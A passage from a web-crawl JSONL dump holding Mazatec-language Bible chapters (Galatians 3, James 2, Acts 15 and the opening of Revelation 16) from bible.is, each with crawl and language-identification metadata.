sìndo̱ ko̱ katé nó, j'iì kjo̱tíxoma ts'e̱ Moisés; ta̱nga jè kjo̱tíxoma mìkiì ma síkits'óña jè kjoa̱ xi jye kisindaàjiìn ko̱ mìkiì ma ki̱tjongui xi Nainá jye k'oa̱s'ín kitsjaà tso'ba. 18Jè Nainá k'e̱ nga tsjá‑ná kjo̱ndaà‑la̱, mìtsà koi kjoa̱‑la̱ nga nìkitasoán kjo̱tíxoma, koi‑né nga jye k'oa̱s'ín kitsjaà tso'ba. Nga Nainá, tà kjo̱tjò kitsjaà‑la̱ kjo̱ndaà Abraham nga jyeé k'oa̱s'ín kitsjaà‑la̱ tso'ba. 19Ta̱nga jè kjo̱tíxoma, ¿mé xá kitjei‑ne? Koií k'oa̱s'ín kitjei‑ne koií kjoa̱‑la̱ nga ch'o nchis'ín xi̱ta̱. K'oa̱á s'ín kisijna skanda k'e̱ nga j'iì tje̱‑la̱ Abraham xi Nainá xó k'oa̱s'ín kitsjaà‑la̱ tso'ba. Jè kjo̱tíxoma, jñà àkja̱le̱ j'iìko̱ ko̱ jè Moisés tsasìjnajiìn osen nga kisìkatoya 'én ko̱ kiìchja̱tjì xi̱ta̱ nguixko̱n Nainá. 20K'e̱ nga jngoò xi̱ta̱ osìjnajiìn osen, mìtsà ta jngoò xi̱ta̱ fìt'aà‑la̱, fìt'aà‑la̱ ngajò. Ta̱nga jè Nainá ta jè ta̱jngoó kitsjaà‑la̱ 'én Abraham. 21Nainá, k'e̱ nga kitsjaà kjo̱tíxoma, mìtsà kondra̱ kiì‑la̱ koni s'ín jye kitsjaà‑la̱ tso'ba Abraham. Tsà jè‑la‑ne kjo̱tíxoma ma‑la̱ síkítsa̱jnakon xi̱ta̱, maá‑la kixi̱ kítsa̱jna xi̱ta̱ nga kjo̱tíxoma síkitasòn. 22Ta̱nga jè Xo̱jo̱n‑la̱ Nainá, k'oa̱á tsò nga ngats'iì xi̱ta̱ sa̱á jé títsa̱jnajiìn. K'oa̱á ma‑ne nga jñà xi̱ta̱ xi mokjeiín‑la̱ i̱t'aà ts'e̱ Jesucristo, tjoé‑la̱ kjoa̱binachon xi Nainá jye k'oa̱s'ín kitsjaà tso'ba nga tsjá‑la̱ jñà xi̱ta̱ nga mokjeiín‑la̱. 23K'e̱ nga ti̱kj'eè f'iì jè kjoa̱ xi mokjeiín‑ná, jè kjo̱tíxoma kitsobà'ñó‑ná koni tsà nda̱yá tsibìtsa̱jna'ya‑ná skanda jè na̱chrjein k'e̱ nga ki'ya‑la̱ jè kjoa̱ xi mokjeiín‑ná. 24Ko̱ jè kjo̱tíxoma kisìkinda̱‑ná koni s'ín makinda̱ jñà i̱xti, skanda k'e̱ nga j'iì Cristo, mé‑ne k'e̱ nga mokjeiín‑ná i̱t'aà ts'e̱ Cristo, kixi̱ ki̱tsa̱jnaá nga nguixko̱n Nainá. 25I̱'ndei̱ nga jye j'iì kjoa̱ xi mokjeiín‑ná, mì ti̱ ya̱á titsa̱jna'ñó‑ná i̱t'aà ts'e̱ kjo̱tíxoma. 26Jñò, ngats'ioò, saà i̱xti‑la̱ Nainá maá koi kjoa̱‑la̱ nga mokjeiín‑nò i̱t'aà ts'e̱ Cristo Jesús. 27K'e̱ nga ya̱ titsa̱jnakjoòko̱o Cristo nga komà bautizar, k'e̱é jahatjìya‑nò koni jngoò xi̱ta̱ xi síkjatjìya nikje‑la̱. Jè sobá Cristo xi komà nikje xi̱tse̱‑nò. 28Mì ti̱ kiì mochjeén‑ne nga tjájiìn xi̱ta̱ yá‑né xi xi̱ta̱ judío ko̱ yá‑né xi mìtsà xi̱ta̱ judío, yá xi chi̱'nda'ñó títsa̱jna ko̱ yá xi títsa̱jnandei̱í, yá‑né xi x'i̱n ko̱ yá‑né xi chjo̱ón. Ngats'ioò ta̱ jngoò yijo ma‑nò nga ya̱ titsa̱jnakjoòko̱o Cristo Jesús. 29Jñò, nga xi̱ta̱‑la̱ Cristo ma, kixi̱í kjoa̱ nga tje̱‑la̱ Abraham ma, ti̱koa̱ tjoé‑nò kjo̱tjò koni s'ín kitsjaà‑la̱ tso'ba Nainá jè Abraham.\nGálatas 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Gal\/3","date":"2013-12-11T11:46:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164035309\/warc\/CC-MAIN-20131204133355-00076-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000082254,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.000008225440979}","num_words":881,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.328,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jiòn ndí 'ndsé, koni 'sín nga makjiín‑no a̱'ta 'tse̱ Na̱'ín‑ná Jesucristo ra jeya tíjna̱, kì tà chjàn ta chjáajion xi̱ta̱ xàngio̱o ra nda si̱sin‑la. 2Tsa ya̱ ñánda̱ nga maxkóya jiòn kjoa̱ha'sen jngo xi̱ta̱ nchi̱ná ra tjíkjá‑la̱ jto̱ngo ko̱ 'ñó nda kjòn nikje ra kjiya, tsa ti̱'koa̱á kjoa̱ha'sen jngo ndí xi̱ta̱ i̱ma̱ ra taxki̱ 'ki ndí nikje ra kjiya, 3tsa jè isa̱ nda si̱sin‑la jiòn jè ra isa̱ nda 'ki nikje‑la̱, nga 'kín‑la: \"I̱ ti̱jni i̱jndíi̱, i̱ i̱'nde ñánda̱ nga nda chon\", ko̱ jè ra ndí xi̱ta̱ i̱ma̱ tsa 'kín‑la: \"Ti̱se̱n kixi̱‑la i̱tsí ya̱ i̱jndáa̱, ko̱ ñá tsa 'kín‑la: ta ya̱‑la ti̱jna i̱tsí ya̱ a̱'ta nangi.\" 4Tsa 'kia̱ nga ko̱'sín 'sia̱n jiòn, ¿a mí tsa ta i̱nchichjáhíjiòn xi̱ta̱ ra nda i̱nchinìsin‑la? Ko̱ ti̱jión 'cho i̱nchiníkíhijyo‑no kjo̱bítsjen‑no 'kia̱ nga ko̱'sín i̱nchi'nià. 5Jiòn ndí 'ndsé ra 'ñó tsjake̱‑no, nda ti̱ná'ya: Jè Nainá jñà jnchro fahájin jñà ra ndí xi̱ta̱ i̱ma̱ ra tjín i̱ i̱sà'nde mé‑ni nga ni̱mé ra si̱ìjchija'ta‑la̱ koni 'sín nga makjiín‑la̱ nga jñà tjábé‑la̱ nga'tsì kjo̱nda ra tjín ñánda̱ nga jè Nainá tíbatéxoma, koni 'sín nga ijye kitsjà‑la̱ 'én‑la̱ jñà xi̱ta̱ ra tjín‑la̱ kjoa̱ matsjacha a̱'ta 'tse̱ Nainá. 6Tanga ra jiòn, ta isa̱á nachrjengio jñà ra ndí xi̱ta̱ i̱ma̱. ¿A mí tsa jñà xi̱ta̱ nchi̱ná ra ko̱'sín beton‑najiòn ko̱ nga kjo̱'ñó fìko̱‑no ya̱ ngixko̱n xi̱ta̱xá nga bánè jé‑no? 7¿A mí tsa ti̱'koa̱ jñà‑te ra ko̱'sín chja̱jno‑la̱ jè 'í‑la̱ Cristo ra ya̱ nakjoá‑najiòn? 8Ndaá i̱nchi'nià jiòn, tsa kixi̱ kitií kjoa̱ nga i̱nchinitjasòn jè kjo̱téxoma ra kitsjà jè Cristo jè ra xi̱ta̱xá ítjòn‑ná ma koni 'sín nga tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Ko̱'sín tsjacha 'ti̱ìn xi̱ta̱ xàngi̱i koni 'sín nga tsjacha 'nì ijo‑li.\" 9Tanga tsa ta chjaájin‑nájiòn xi̱ta̱ ra nda nìko̱ò, i̱nchifatsji-jé‑no 'kia̱ nga ko̱'sín i̱nchibatonè‑la kjo̱téxoma, ko̱ ti̱jé‑ni kjo̱téxoma ra̱kìi̱ tíbánè jé‑no. 10Nga̱ tsa jngo xi̱ta̱ nda síhitjasòn ijye kjo̱téxoma, tanga tsa ta jngo‑ni 'én ra tíchja̱ ya̱ kjo̱téxoma ko̱tonè‑la̱, takó ska̱nè jé‑la̱, nga̱ 'koa̱á ngoya‑la̱ koni tsa ni̱jngo kjo̱téxoma tísíhitjasòn‑ni. 11Tsa 'koa̱á 'sín kitsò Nainá: \"Kì kjoa̱chijngi 'nià\", tanga ti̱'koa̱á kitsò‑te: \"Kì xi̱ta̱ nì'ken.\" Tsa mì tsa kjoa̱chijngi 'nié, tanga nì'ken‑né xi̱ta̱, takó kjiné jé‑ná ta nga̱tjì‑la̱ nga tíbatonè‑lá jè kjo̱téxoma 'tse̱ Nainá. 12Machjeén‑ní nga si̱konde̱é ijo‑ná kó'sín nga 'sie̱én ko̱ kó'sín nga ki̱nákje̱é, nga̱ ki̱jchò ni̱chjin nga jè Nainá ki̱ìndajín‑ná. Ko̱ 'koa̱á 'sín ki̱ìndajín‑ná koni 'sín nga tíchja̱ jè kjo̱téxoma‑la̱ ra síkítsa̱jnandi̱í‑ni xi̱ta̱. 13Jñà ra tsìn‑la̱ kjo̱hi̱ma̱takòn a̱'ta 'tse̱ xi̱ta̱ ra i'ka, ti̱'koa̱á mì kì jcha̱hi̱ma̱takòn‑te 'kia̱ nga ki̱jchò ni̱chjin nga si̱ndajín‑la̱ ra kjoa̱ 'tse̱ jé‑la̱. Tanga jñà ra tjín‑la̱ kjo̱hi̱ma̱takòn, jñá si̱ìkijne 'kia̱ nga ki̱jchò ni̱chjin nga si̱ndajín‑la̱. 14Jiòn ra ndí 'ndsé xin‑no, ¿mé chjí‑la̱ tsa yá ra ki̱tso̱: \"Ndaá makjiín‑na ra a̱'ta 'tse̱ Cristo\", tsa mì mé kjo̱nda tí'sín‑ni koni 'sín nga makjiín‑la̱? ¿A ko̱maá ta jè kjoa̱ makjiín‑la̱ xi̱ta̱ ra̱kìi̱, ko̱chrjekàjin kjo̱hi'in? 15'Koa̱á 'sín jngoya‑la̱, tsa jngo ra 'ndsé chibé ko̱ tsa jngo ndí chjo̱ón ra tichjeé chibé, tsa tsìn‑la̱ nikje ra faya ko̱ tsa tsìn‑la̱ tsajmì ra kjine ya̱ ni'ya‑la̱ nga ni̱chjin nchijòn, 16tsa tjín i'ka jiòn ra 'kín‑la: \"Tangí‑la nda‑nda‑no, ya̱ tsjaya nikje‑no ko̱ nda ti̱chioò kó 'ki mejèn‑no\", tanga tsa ni̱mé tsajmì ra machjeén‑la̱ 'ki̱‑la jiòn, ni̱mé chjí‑la̱ ni̱'sín ta ko̱'sín 'kín‑la. 17'Koa̱á ti̱'sín tjín‑ni a̱'ta 'tse̱ kjoa̱ ra makjiín‑ná, tsa mí mé kjo̱nda ra ma‑ná 'nié, ni̱mé chjí‑la̱ koni 'sín nga makjiín‑ná. 18Tanga tsa titsa̱jnaá i'ka jiòn ra mejèn‑no 'kín‑ná: \"¿A makjiín‑li ra a̱'ta 'tse̱ Cristo?\" 'A̱n, maá xín‑la: \"Jon, tísihítjasón‑náa̱ jè kjo̱nda‑la̱. Ko̱ ji̱, ¿kó'sín ko̱ma ko̱kón‑náa̱ nga makjiín‑li a̱'ta 'tse̱ Cristo, tsa mí kì tjinihitjasìn kjo̱nda‑la̱? Tanga ra 'a̱n, tísihítjasón‑náa̱ kjo̱nda‑la̱; 'koa̱á ma‑ni nga ma kokon‑la̱ nga ngi kixi̱ kitií kjoa̱ nga makjiín‑na a̱'ta 'tse̱ Cristo.\" 19Ji̱, 'koa̱á 'sín makjiín‑li nga jngoó‑ni Nainá, ko̱ ndaá tjín a̱'ta 'tse̱ kjoa̱ ra̱kìi̱; tanga jñà inìma̱ 'cho‑la̱ ni̱í, skanda ti̱'koa̱á makjiín‑te‑la̱ ra jñà ko̱ skanda fatsé‑ní nga tsakjón‑la̱. 20Ji̱ xi̱ta̱ ra tsìn‑li kjo̱bítsjen, machjeén‑ní nga nda katasijin‑li, nga̱ ni̱'sín kixé nga ndaá makjiín‑ná, tanga tsa ni̱mé kjoa̱ ra nda tjín ma‑ná 'nié, ni̱mé chjí‑la̱ koni 'sín nga makjiín‑ná. 21¿Mé‑ni ko̱'sín kitsò‑ni Nainá nga jè xi̱ta̱ jchínga‑ná Abraham, xi̱ta̱ kixi̱í kjomà? ¿A mí tsa ki nga isìhitjasòn 'kia̱ nga kiìko̱ i'ndí‑la̱ ra tsi'kìn Isaac ñánda̱ nga tsakájnasòn chrjó na̱jo̱ nga si̱ì'ken koni jngo kjo̱tjò ra tsjá‑la̱ Nainá tsiki? 22¿A mí 'yi, nga ta jngoó kjoa̱ kjomà‑ni koni 'sín nga kjokjiín‑la̱ ko̱ koni 'sín nga isìhitjasòn jè Abraham? Ko̱ 'kia̱ nga ko̱'sín isìhitjasòn ya̱á kjòjngoko̱‑ni jè kjoa̱ ra ko̱'sín kjokjiín‑la̱. 23'Koa̱á 'sín itjasòn koni 'sín tíchja̱ xa̱jo̱n ra tjí'ta 'én‑la̱ Nainá nga tsò: \"Abraham, ndaá kjokjiín‑la̱ a̱'ta 'tse̱ Nainá; 'koa̱á 'sín kjomà‑ni nga xi̱ta̱ kixi̱ kitsò‑la̱.\" Ko̱ 'koa̱á 'sín kijcha‑la̱ nga 'ñó nda tsakáko̱ Nainá. 24Ya̱á 'ya‑la̱ nga ko̱ó‑te jñà kjoa̱ ra nda 'sín xi̱ta̱ nga xi̱ta̱ kixi̱ bitjongi ya̱ ngixko̱n Nainá, ko̱ mì tsa ta jè‑ni nga ko̱kjiín‑la̱. 25'Koa̱á ti̱'sín tjín a̱'ta 'tse̱ chjo̱ón chijngi ra tsi'kìn Rahab. Jè Nainá chjo̱ón kixi̱í tsachrjengi ta nga̱tjì‑la̱ jè kjo̱nda ra ki'sìn, 'kia̱ nga kitsjá'nde ya̱ ni'ya‑la̱ nga isíkjáya‑ni jñà xi̱ta̱ ra ta ijchòkatsíjen'ma ko̱ ra kjomà a̱skan‑nioo̱ tsasìko̱ó‑te nga ma xìn ndi̱yá kijì‑ni jñà xi̱ta̱ kìi̱. 26Tsa ni̱mé kjoa̱nda i̱nchibakeén a̱'ta 'tse̱ kjoa̱ makjiín‑ná, jè kjoa̱ makjiín‑ná, 'koa̱á ngoya‑la̱ koni jngo mi'ken ra mì ti̱ mé inìma̱ tjín‑la̱.\nJacobo 2","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Jas\/2","date":"2013-12-12T17:08:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164647809\/warc\/CC-MAIN-20131204134407-00034-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":855,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.299,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà ni̱chjin kìi̱, 'jií i'ka xi̱ta̱ ra inchrabà‑ni Judea nga ijchò ya̱ Antioquía nga tsi'kéna̱jmíya‑la̱ xi̱ta̱‑la̱ Cristo, kitsò‑la̱: \"Mì kì ma kítjo̱kajion kjo̱hi'in 'tse̱ jé‑no tsa mì kì si̱'tà chi̱ba̱ ijo‑no kjoa̱ 'tse̱ circuncisión koni 'sín tíchja̱ kjo̱téxoma‑la̱ Moisés.\" 2Pablo ko̱ Bernabé 'ñó tsajo̱ókjo ko̱ jñà xi̱ta̱ kìi̱ nga tsakátiya‑ni jñà kjoa̱ kìi̱; a̱kjòn, 'koa̱á 'sín iskosòn‑la̱ nga jè Pablo ko̱ Bernabé ki̱ji̱ ján Jerusalén. Ko̱ ti̱'koa̱á tsakáhijtako̱ó‑te i'ka xi̱ta̱ ra ti̱'koa̱ xi̱ta̱‑la̱ Cristo nga kijì, mé‑ni nga si̱ndajín‑ni kjoa̱ ko̱ jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús ko̱ xi̱ta̱ jchínga 'tse̱ na̱xi̱ndá‑la̱ Cristo ra títsa̱jna ya̱. 3Jè na̱xi̱ndá‑la̱ Cristo ra tíjna ya̱ Antioquía tsasìko̱'tá jñà xi̱ta̱ kìi̱ mé‑ni nga ko̱ma ki̱ji̱‑ni. 'Koa̱á 'sín 'jahato ya̱ nangi Fenicia ko̱ Samaria. Tsi'kéna̱jmí nga jñà ra mì tsa xi̱ta̱ judío ti̱'koa̱á ijyeé i̱nchifahatjìya‑la̱ nga ya̱á i̱nchifì'ta‑la̱ Cristo. Nga'tsì xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Cristo, 'ñó kjotsja‑la̱. 4'Kia̱ nga ijchò ján Jerusalén Pablo ko̱ Bernabé, nda kinisin‑la̱ a̱'ta 'tse̱ jñà xi̱ta̱ na̱xi̱ndá‑la̱ Cristo, ko̱ xi̱ta̱ jchínga ra ya̱ batéxoma, ko̱ xi̱ta̱ ra tsikíxáya‑la̱ Cristo; a̱kjòn tsi'kéna̱jmí ijye‑la̱ nga'tsì kjoa̱ ra ki'sìn Nainá ra a̱'ta 'tse̱. 5Ya̱á títsa̱jnajin i'ka xi̱ta̱ fariseo ra ijye kjokjiín‑te‑la̱ 'én nda‑la̱ Cristo; tsincha kixi̱‑ní nga kitsò: ―Jñà ra mì tsa xi̱ta̱ judío ra ijye makjiín‑la̱, machjeén‑ní nga si̱'ta chi̱ba̱ ijo‑la̱ ra kjoa̱ 'tse̱ circuncisión; ti̱'koa̱ si̱nè‑la̱ nga katasíhitjasòn kjo̱téxoma ra kitsjà Moisés. 6Kjóxkóya‑ní jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús ko̱ xi̱ta̱ jchínga ra 'tse̱ na̱xi̱ndá‑la̱ Cristo nga tsajo̱óya‑ni jñà kjoa̱ kìi̱. 7'Ñó tse tsajo̱óya‑ni kjoa̱ kìi̱; chaán tsasijna kixi̱ Pedro, kiìchja̱, kitsò: ―Jiòn 'ndsé, ijyeé tjíjin‑no nga 'a̱n ijyeé kjotseé jahájin‑na Nainá nga 'a̱n 'kenájmí‑la̱ 'én xi̱tse̱ ra nda tsò a̱'ta 'tse̱ Cristo jñà ra mì tsa xi̱ta̱ judío mé‑ni nga ti̱'koa̱ ko̱kjiín‑la̱. 8Jè Nainá ra be jè inìma̱‑ná, 'koa̱á 'sín tsakón kixi̱ nga ti̱'koa̱á tsjakeé‑te jñà xi̱ta̱ kìi̱, nga̱ 'koa̱á ti̱'sín kitsjà‑la̱ jè Inìma̱ Tsje‑la̱ koni 'sín kitsjá‑ná ra jién. 9Nainá kisìtsjeé inìma̱‑la̱ xi̱ta̱ kìi̱ 'kia̱ nga kjokjiín‑la̱ a̱'ta 'tse̱, nga ta ngásòn ngáya tsjake‑ná nga'tsí‑ná, jién ra xi̱ta̱ judío 'mì‑ná, ko̱ ra taxki̱ xi̱ta̱. 10'Ndi̱ 'ndi̱, ¿mé‑ni nga kondra̱ mangí‑la jiòn jè kjo̱bítsjen‑la̱ Nainá? ¿Mé‑ni ko̱'sín binè‑la jiòn jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Cristo nga katasíhitjasòn kjo̱téxoma, kjoa̱ ra 'ñó i'in tjín? Ra skanda ni̱jñà xi̱ta̱ jchínga‑ná ko̱ ni̱jién, mì kì chíkjoa̱‑ná nga nihitjasén. 11Tanga 'koa̱á 'sín makjiín‑ná jién ra xi̱ta̱ judío 'mì‑ná ko̱ ra taxki̱ xi̱ta̱, nga ngásòn ta kjo̱nda 'tse̱ Jesús ra tíjna ítjòn‑ná nga kítjo̱kajieén kjo̱hi'in ra a̱'ta 'tse̱ jé‑ná. 12Jyó tsikitsa̱jna nga'tsì xi̱ta̱ ra ya̱ títsa̱jna. Kií'nchré‑la̱ Bernabé ko̱ Pablo nga tsi'kéna̱jmí‑la̱ kó'sín kjomà nga 'ñó tse kjoa̱xkón ra ki'sìn Nainá ra a̱'ta 'tse̱ ya̱ ngixko̱n xi̱ta̱ ra mì tsa xi̱ta̱ judío. 13'Kia̱ nga ijye kiìchja̱ Bernabé ko̱ Pablo, 'kia̱á kiìchja̱ Jacobo, kitsò: ―'Ndsé ra i̱ titsa̱jna, ti̱ná'yá‑ná. 14Jè Simón Pedro, ijyeé tsi'kéna̱jmí‑ná kó'sín kjomà 'kia̱ nga ti̱'sa̱ ijchò‑tjòn‑la̱ jè kjo̱nda‑la̱ Nainá jñà ra mì tsa xi̱ta̱ judío nga tsjahíjin nga xi̱ta̱ na̱xi̱ndá‑la̱ kjomà. 15'Koa̱á 'sín mangásòn 'én kìi̱ koni 'sín tsikínda xa̱jo̱n jñà xi̱ta̱ ra isìchjeén Nainá nga kiìchja̱ ngajo‑la̱ nga kitsò: 16'Kia̱ nga ko̱ma a̱skan‑nioo̱, kjí'i̱i india‑na nga kindáyá xi̱tse̱ india‑na koni 'sín nga tsatéxoma jè David. Nda kjón síkíjnanda india‑na nga ìjngo xi̱ta̱ sìkasítje̱n ra ya̱ kji̱nchrabà‑ni tje̱‑la̱ David nga jè síkíjnaya ngajo‑na i̱'nde‑la̱, 17mé‑ni jñà xi̱ta̱ ra i'ka koa̱àtsji‑ni Nainá, nga'tsì ra mì tsa xi̱ta̱ judío, jñà ra a̱'ta tsa̱'a̱n chja̱‑ni. 18'Koa̱á 'sín tsò Nainá ra ijye kjotseé tsi'kéna̱jmí kjo̱bítsjen ra tjín‑la̱. 19''A̱n, 'koa̱á 'sín xiaa̱n nga mì kì ma si̱nè‑la̱ kjoa̱ ra i'in tjín jñà ra mì tsa xi̱ta̱ judío, jñà ra i̱nchifahatjìya‑la̱ nga i̱nchifì'ta‑la̱ Nainá. 20Ta jé‑la ra machjeén nga ma si̱kasén‑lá xa̱jo̱n nga mì kì ma ski̱ne̱ nga'tsì tsajmì ra ya̱ sinchá ya̱ ngixko̱n xkósòn ra nainá tsò‑la̱ xi̱ta̱; ti̱'koa̱á mì kì ma kjoa̱chijngi 'si̱in, ko̱ mì kì ti̱ ko̱ma ski̱ne̱‑ni jní‑la̱ nga'tsì cho̱ ko̱ mì kì ko̱ma ski̱ne̱ ijo‑la̱ cho̱ ra mì kì xaájten jní‑la̱. 21Skanda ti̱'sa̱‑ni kjotseé, nga jngó jngó na̱xi̱ndá tjín xi̱ta̱ ra 'béna̱jmíya jè kjo̱téxoma‑la̱ Moisés; nga xki̱ ni̱chjin níkjáya kotá'yájin xi̱ta̱, ya̱ ni'ya sinagoga ñánda̱ nga maxkóya xi̱ta̱ Judío. 22Jñà xi̱ta̱ ra tsikíxáya‑la̱ Jesús ko̱ nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ko̱ xi̱ta̱ jchínga ra ya̱ batéxoma, tsajo̱óya‑ni nga tsjahíjin i'ka xi̱ta̱ xákjién ra isìkasén ya̱ Antioquía nga tsakáhijtako̱ Pablo ko̱ Bernabé. Jñà itjahájin Judas ra ti̱'koa̱ Barsabás 'mì ko̱ Silas. Xi̱ta̱ kìi̱, jñá‑ní ra isa̱ 'ñó xkón títsa̱jna ya̱ a̱jin‑la̱ xi̱ta̱ xákjién. 23Isi'ka jngo xa̱jo̱n ra tsò: \"Ngaji̱n, xi̱ta̱ ra tsikíxáya‑naji̱n Jesús ko̱ xi̱ta̱ jchínga ra 'ndsé chibé a̱'ta 'tse̱ Cristo, nikasén‑laji̱n 'én nga ko̱'sín nìhixo'ta‑laji̱n jiòn 'ndsé ra mì tsa xi̱ta̱ judío 'mì‑no ra titsa̱jna ya̱ na̱xi̱ndá Antioquía, ko̱ i̱'nde Siria ko̱ Cilicia. 24Ijyeé iska'tá‑naji̱n 'én nga ti̱ i̱í itjokàjin i'ka‑ni xi̱ta̱ ra ijchòjkon‑najiòn ra mì tsa ji̱n ki'tsì'nde‑la̱ji̱n; nga sií síko̱‑no nga báko̱‑no 'én ra síkitsón‑jin kjo̱bítsjen‑no. 25Nga'tsì‑naji̱n, 'koa̱á 'sín kichibaya‑naji̱n nga i̱nchinìkasén i'ka‑ji̱n xi̱ta̱ tsa̱ji̱n ra ki̱katsíjen‑no. Kjihijtako̱ jñà 'ndsé Pablo ko̱ Bernabé, xi̱ta̱ ra 'ñó tsjacha‑ji̱n, 26jñà ra ijye ko̱'sín tsikínè‑la̱ ijo‑la̱ ni̱'sín ta mé kjo̱hi'in ra tsatojin a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná. 27I̱nchinìkasén‑laji̱n Judas ko̱ Silas, jñà ra 'koa̱ ti̱'sín koa̱àko̱na̱jmí‑no jñà 'én kìi̱. 28Ngaji̱n ko̱ jè Inìma̱ Tsje‑la̱ Nainá, 'koa̱á 'sín nda isasèn‑naji̱n nga mì tsa kjo̱'ñó si̱nè‑no nga si̱itjasòn kjoa̱ 'tse̱ kjo̱téxoma ra i'in tjín. Tà kií‑ní ra machjeén nga nda si̱hitjasòn jiòn jñà kjoa̱ kìi̱: 29nga mì kì ma chji̱ne̱e ijo‑la̱ cho̱ ra sí'ken xi̱ta̱ a̱'ta 'tse̱ xkósòn ra nainá tsò‑la̱, ko̱ mì kì ma chji̱ne̱e jní‑la̱ nga'tsì cho̱ ko̱ ijo‑la̱ cho̱ ra mì kì xaájten jní‑la̱; ti̱'koa̱á mì kì ma nga kjoa̱chijngi 'sia̱an; tsa chjáaxìn‑la ijo‑no nga'tsì kjoa̱ kìi̱, ndaá tjín kjoa̱ ra 'sia̱an. Ko̱'sín nda ti̱tsa̱hijyo nga'tsì‑no.\" 30Jñà xi̱ta̱ kìi̱ ra ko̱'sín inikasén, 'kia̱ nga ijye kisíkjáya‑la̱ xákjién, 'kia̱á kijì skanda ján Antioquía; 'kia̱ nga ijchò tsikíxkóya nga'tsì xi̱ta̱ xákjién ra ti̱'koa̱ xi̱ta̱‑la̱ Cristo; isìnga̱tsja jè xa̱jo̱n ra inikasén ra jñà 'ya. 31Jñà 'ndsé kìi̱, 'kia̱ nga ijye tsikíxki̱yajin jè xa̱jo̱n ra̱kìi̱, tsjaá ki'se‑la̱ nga ko̱tsò 'én ra ijchò síje ikon. 32Jè Judas ko̱ Silas ti̱'koa̱á Nainá chja̱ ngajo‑la̱; kjìn 'én tsakáko̱na̱jmí jñà 'ndsé kìi̱ ra nda kitsjà nga'ñó‑la̱ ko̱ nga isìje ikon. 33Kjín ni̱chjin tsikitsa̱jna ya̱ Antioquía. Ra kjomà a̱skan‑nioo̱ isíkjáya‑la̱ xákjién, nga kijì‑ni ya̱ Jerusalén; nga kiìjkon india‑ni jñà xi̱ta̱ ra isìkasén. 34[Tanga jè Silas, 'koa̱á 'sín isasèn‑la̱ nga ya̱á tsikíjna ya̱ Antioquía.] 35Pablo ko̱ Bernabé, ya̱á tsikitsa̱jna‑te ya̱ Antioquía. Tsakón‑ya ko̱ tsi'kéna̱jmíya‑isa 'én xi̱tse̱‑la̱ Cristo ra nda tsò. Ko̱ kjín ma‑isa xi̱ta̱ ra ta̱ña isíxákjoko̱ nga isìka'bí 'én‑la̱ Na̱'ín‑ná. 36'Kia̱ nga kjomà a̱skan‑ni, jè Pablo kitsò‑la̱ Bernabé: ―Tjian india‑ná kóho'ki na̱xi̱ndá ñánda̱ tsi'kéna̱jmié 'én‑la̱ Nainá mé‑ni nga jcha̱‑ná kó'sín títsa̱jna jñà xi̱ta̱ xàngie̱é. 37Jè Bernabé, jé mejèn‑la̱ i̱ko̱ Juan ra ti̱'koa̱ Marcos 'mì nga ko̱hijtako̱‑te; 38tanga jè Pablo mì kì isasèn‑la̱, ta nga̱tjì‑la̱ nga̱ kitsjin-tákon ján Panfilia nga mì ti̱ kì tsakáhijtako̱‑ni nga isíxá jè xá ra tjíma‑ni. 39'Kia̱ nga mì ti̱ kjóngásòn‑ni 'én‑la̱, ya̱á inchrabà‑ni nga isakò‑la̱ kjoa̱; tsincha'taxìn‑la̱ xákjién; jè Bernabé jè kiìko̱ Marcos, 'jaha'sen jngo chitso nga kijì skanda Chipre. 40Pablo, jè tsjahíjin Silas nga tsakáhijtako̱. Jñà xi̱ta̱‑la̱ Cristo ya̱á isìnga̱tsja ya̱ a̱ya tsja Nainá, a̱kjòn kijì. 41Kijì ya̱ nangi Siria ko̱ Cilicia; ya̱á tsinchima nga isí'ñó ikon nga'tsì xi̱ta̱ na̱xi̱ndá‑la̱ Cristo nga kixi̱ katincha ra a̱'ta 'tse̱ Nainá.\nHechos 15","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Acts\/15","date":"2013-12-07T13:34:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163054548\/warc\/CC-MAIN-20131204131734-00021-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000088215,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000088214874268}","num_words":1181,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.223,"stopwords_ratio":0.348,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Kí'nchré jngo jta̱ ra 'ñó kiìchja̱ ra ya̱ itjo‑ni ya̱ i̱'nde tsje‑la̱ Nainá, ra kitsò‑la̱ jñà ìkja̱li̱ ra ito ma‑ni: ―Tangió ko̱ tìxten ya̱ a̱sòn i̱sà'nde jè kjo̱hi'in ra 'ya kjo̱jti‑la̱ Nainá ra tjíya ya̱ chi̱tsín ra ito ma‑ni. 2Kijì jngo ìkja̱li̱ ra kiì ítjòn; 